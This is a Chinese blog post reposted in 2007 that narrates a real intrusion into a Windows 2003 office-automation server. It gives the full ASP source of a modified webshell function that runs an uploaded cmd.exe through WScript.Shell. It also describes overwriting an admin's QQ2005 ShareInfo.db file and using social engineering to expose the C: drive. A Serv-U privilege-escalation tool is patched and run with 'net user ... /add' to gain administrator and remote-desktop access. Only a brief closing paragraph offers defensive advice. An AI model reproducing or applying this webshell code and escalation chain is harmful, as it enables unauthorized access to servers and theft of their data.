利用QQ(老版本)文件共享漏洞入侵 Windows2003

linker14年前 (2007-03-19)系统安全231

  服务器上运行的第三方软件历来就被攻击者们看作是入侵目标系统的捷径。现在,著名的腾讯QQ又被列入了这些捷径名单,好在QQ并不是服务器必备 的软件之一,所以相信不会造成大范围的危机。文中遇到特殊情况虽然不多,但大家还是应该遵照“可能的就应该防范”的原则做出相应防御。

  一、在Windows2003中得到的Webshell

  此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003,但OA仍存在asp文件上传漏洞,所以webshell的取得并没有任何悬念。阻碍是在权限提升时遇到的。

  登陆webshell后发现只能查看服务器的D盘,对C盘不能进行任何访问,webshell的提示是“没有权限”。这点早在意料之 中,因为wenshell只有guests组权限,再加上win2003默认禁止了“Everyone"匿名用户及“Guest"组权限用户访问 cmd.exe,还造成了不能通过webshell运行cmd.exe。

  唯一值得庆幸的是利用Webshell 可以对D盘(存放有web虚拟目录)各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。

  二、破解Serv-u的终极防范

  Windows2003的种种默认安全配置展示了它强大的一面,近一步提升现有权限似乎已不太可能,直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。

  前面提到由于Windows2003对cmd.exe的权限限制,通过webshell方式不能运行cmd.exe,这样的论断在 2004年6期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确,通过webshell上传本地非2003系统中未受 限制的cmd.exe文件到可执行目录,再通过wscript组件,同样能够通过webshell方式在Windows2003下获得相应权限的 cmd.exe。结合nc.exe,甚至还能得到一个guest组权限的命令行下的shell。

  为此,我对老兵的站长助手6.0做了一些改进,增加了如下代码,使其能够利用Wscript.shell组件运行本地上传的cmd.exe。

Function CmdShell()  
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method='post'><input name='cmd' Style='width:92%' class='cmd'
value='"DefCmd&"'><input type='submit' value='运行'>"
SI=SI&"<textarea Style='width:100%;height:500;' class='cmd'>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-
98424B88AFB8"></object>
<object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B"></object>
<object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-
00A0C9054228"></object>
<%szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea>"
SI=SI&"SHELL路径:<input name='SP' value='"&ShellPath&"' Style='width:70%'> "
SI=SI&"<input type='checkbox' name='wscript' value='yes'"&checked&">WScript.Shell</form>"
Response.Write SI
End Function


  利用时只需在shell路径中指定上传的cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net
start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server。

  活动端口列表中又出现了43958端口,于是我自然想到了神通广大的Serv-u ftp Server本地权限提升漏洞。可真正用到的ftp本地权限提升工具在执行系统命令时,却出现了530错误提示。看来管理员或者其他人对Serv-u打上 了布丁或者做了某些安全配置。

  为了知道究竟是怎样的安全配置,上网查了查相关文章,其中有一篇《Serv-u ftp Server 本地权限提升漏洞的终极防范》很受欢迎,被多方转载,作者是世外高人xiaolu。从错误提示看很有可能做了该文所谓的终极防范,即对 ServUDaemon.exe中默认的管理员或密码进行了修改。

  当然这只是假设,只有将目标服务器上的ServUDaemon.exe下载下来看看具体配置才能确定,但是安装有Serv-u的C盘禁止访问,包括Programe files 目录,权限提升再次受阻。

  三、利用QQ2005共享文件漏洞将权限提升到底

  再次翻了翻D盘,又见到了那个很少能在服务器中看到的Tencent文件夹。查看whatsnew.txt。

  得知QQ的版本是QQ2005 Beta1,几个于相关文件的创建时间也说明网管最近在服务器上登陆过QQ。难道只能用QQ?经过一番思索,终于想到一个可以利用的QQ2005在文件共享功能上的一则漏洞。

  该漏洞是随着QQ2005贺岁版新增功能出现的。可以将其危害描述为:利用该漏洞,攻击者可以浏览,读取用户系统中的任意文件(如sam文件、数据备份文件、敏感信息文件)。影响系统:安装有QQ2005贺岁版以上的所有Windows系列操作系统。

  具体利用方法是:先在本机登陆自己的QQ,调出“QQ菜单”,选择工具->设置共享,指定C:\或者其他任何有利用价值的分区为 共享文件,完成后关闭QQ,找到安装目录下的以QQ帐号命名的文件夹内“ShareInfo.db”文件。上传覆盖目标服务器上相同文件(如:D:\ Tencent\QQ\654321\ShareInfo.db)。这样,当网管在服务器上登陆QQ时就会向好友开放C盘为共享目录。

  因为陌生人是不能共享对方文件,所以还需要用社会工程学申请将管理员加为好友(理由当然越可信越好)。如果管理员通过请求,服务器 的C盘会以QQ共享文件目录的名义被共享,原本不能通过WEBSHELL访问的ServUDaemon.exe文件就能被下载,遇到阻碍的权限提升之路又 能继续了。

  当晚管理员就通过了申请,将我添加为好友。珊瑚虫QQ上显示的IP正是目标服务器的IP,于是下载了 ServUDaemon.exe文件,用UE打开后查找127.0.0.1,发现默认配置下的内置帐户“LocalAdministrator”果然被改 成了“LocalAdministruser”。

  这看起来是一个很“终极”的防御,但提出该方法的xiaolu似乎没有进行攻防所须的换位思考就将其公布,要知道攻击者只需知道修 改后的配置,并对本地权限提升利用工具进行相应的修改,所谓的终极防御也就被攻破了。方法还是用UE打开脱了壳的serv-u本地权限提升利用工具,将 LocalAdministrator改为LocalAdministruser即可。

  然后上传修改后的ftp2.exe,在wscript.shell中执行D:\web\ftp2.exe “net user user password /add”后看看结果,已经成功添加了一个用户。再把该用户加入administrators组和“Remote desktop users”组后登陆了目标服务器的远程桌面。

  经过重重险阻,终于彻底攻陷了这台坚固的Windows2003堡垒。

  四、简单启示

  可以看出,和“服务越少越安全”一样,服务器上运行的“第三方”越少越安全,流行的PcAnywhere、VNC、Serv-U 权限提升和这里提出的利用QQ2005提升权限,都是可以这样避免。

via:天极博客

相关文章

ms06040 [Scanner+Exploit]

ms06040 [Scanner+Exploit]

信息来源:neeao'blog一定要看下图设置才行,不然打不开,我xp sp2Scanner: ms06040scanner.exeExploit:http://a.expcode.com/remot...

再谈ARP病毒攻击技术分析与防御

一、ARP Spoofing攻击原理分析在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的。ARP协议对网络安全具有重要的意义。通过伪造IP地址和MAC地址实现ARP欺骗,...

遭遇另类无法删除的病毒,怎么办?

随着不限时宽带的普及,为了方便BT下载,很多朋友都爱24小时挂机。全天候的在线,这给一些病毒、木马“入侵”系统带来了极大便利,他们可以在半夜入侵我们的电脑,肆意为非作歹。近日笔...

如何检测出你电脑上的间谍软件

   你应该有过这样的遭遇,就是电脑感染上了间谍软件或广告软件。在这种情况下,解决问题的关键就是要在你的硬盘、内存或Windows注册表中找出间谍软件的所在。建议最好能利用一些有效的商业软件...

注意:隐藏的病毒文件清除全过程

今年以来,有时候,你会发现,当选择“显示隐藏文件”这一选项后,发现U盘有个文件闪出来一下就马上又消失了,而再打开文件夹选项时,发现仍就是“不显示隐藏文件&rdquo...

黑客如何查找网络安全漏洞

电脑黑客们总是希望知道尽可能多的信息,比如:是否联网、内部网络的架构以及安全防范措施的状态。一旦那些有经验的黑客盯上了你的网络系统,他们首先会对你的系统进行 分析。这就是为什么我们说运用黑客的“游戏规...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。